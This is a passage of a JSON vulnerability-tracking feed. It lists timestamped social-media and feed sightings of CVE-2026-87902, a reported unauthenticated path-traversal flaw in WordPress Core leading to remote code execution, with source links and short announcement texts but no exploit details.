"Telegram/6OOuFVaJx7USmfUtyzJSeis-M0BV3fUbad2_gnygQ71m6lM", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "383754e5-65df-40e6-8e85-1fb5ef773334"}, {"timestamp": "2026-10-09T17:37:29.428Z", "date_only": false, "value": "2026-10-09T17:37:29.428221Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackinghub.bsky.social/post/3mxhjanxsw22s", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "3aab938c-75e2-4568-9735-926d7bd931ba", "content": "\ud83d\udea8 RCE on WordPress Core: CVE-2026-87902\n\nHere\u2019s an overview of this critical bug:", "url": "https://bsky.app/profile/hackinghub.bsky.social/post/3mxhjanxsw22s"}, {"timestamp": "2026-10-13T05:22:52Z", "date_only": false, "value": "2026-10-13T05:22:52.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f8adec39-0b02-47ba-9542-6b9dafe336bd", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "17854405-228d-4bd6-a4b4-89f6dffaa6fe"}, {"timestamp": "2026-10-13T09:54:31.275Z", "date_only": false, "value": "2026-10-13T09:54:31.275452Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/obivan/statuses/117432993112651013", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f575fd8d-b931-41d3-9495-b23fb9b6da5b", "content": "CVE-2026-87902: WordPress Core unauthenticated path traversal in get page template page-template resolution leading to conditional RCE https://www.pruva.dev/reproductions/REPRO-2026-00356", "url": "https://infosec.exchange/users/obivan/statuses/117432993112651013"}, {"timestamp": "2026-10-13T09:54:39.481Z", "date_only": false, "value": "2026-10-13T09:54:39.481874Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mxqrant7mdg2", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "78f68936-ef88-41eb-b7e9-27318b129f58", "content": "CVE-2026-87902: WordPress Core unauthenticated path traversal in get page template page-template resolution leading to conditional RCE https://www.pruva.dev/reproductions/REPRO-2026-00356", "url": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mxqrant7mdg2"}, {"timestamp": "2026-10-16T17:10:11.513Z", "date_only": false, "value": "2026-10-16T17:10:11.513387Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mxz2y7hv2k2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c0edd518-dced-4296-a5a3-c1ef6a492b83", "content": "WordPress Core Flaw Lets Attackers Run Code Without Logging In | CVE-2026-87902\n\nFollow for more weekly cybersecurity news\n\n#cybersecurity #cybersecuritynews", "url": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mxz2y7hv2k2l"}, {"timestamp": "2026-10-16T17:12:44.595Z", "date_only": false, "value": "2026-10-16T17:12:44.595322Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mxz34q7wnc2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8a0a1b53-4199-4568-9d4a-faaf05cc9a32", "content": "WordPress Core Flaw Lets Attackers Run Code Without Logging In | CVE-2026-87902\n\nFollow for more weekly cybersecurity news\n\n#cybersecurity #cybersecuritynews", "url": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mxz34q7wnc2l"}, {"timestamp": "2026-10-17T09:54:16Z", "date_only": false, "value": "2026-10-17T09:54:16Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-87902", "record": "UBUNTU-CVE-2026-87902", "field": "modified"}]}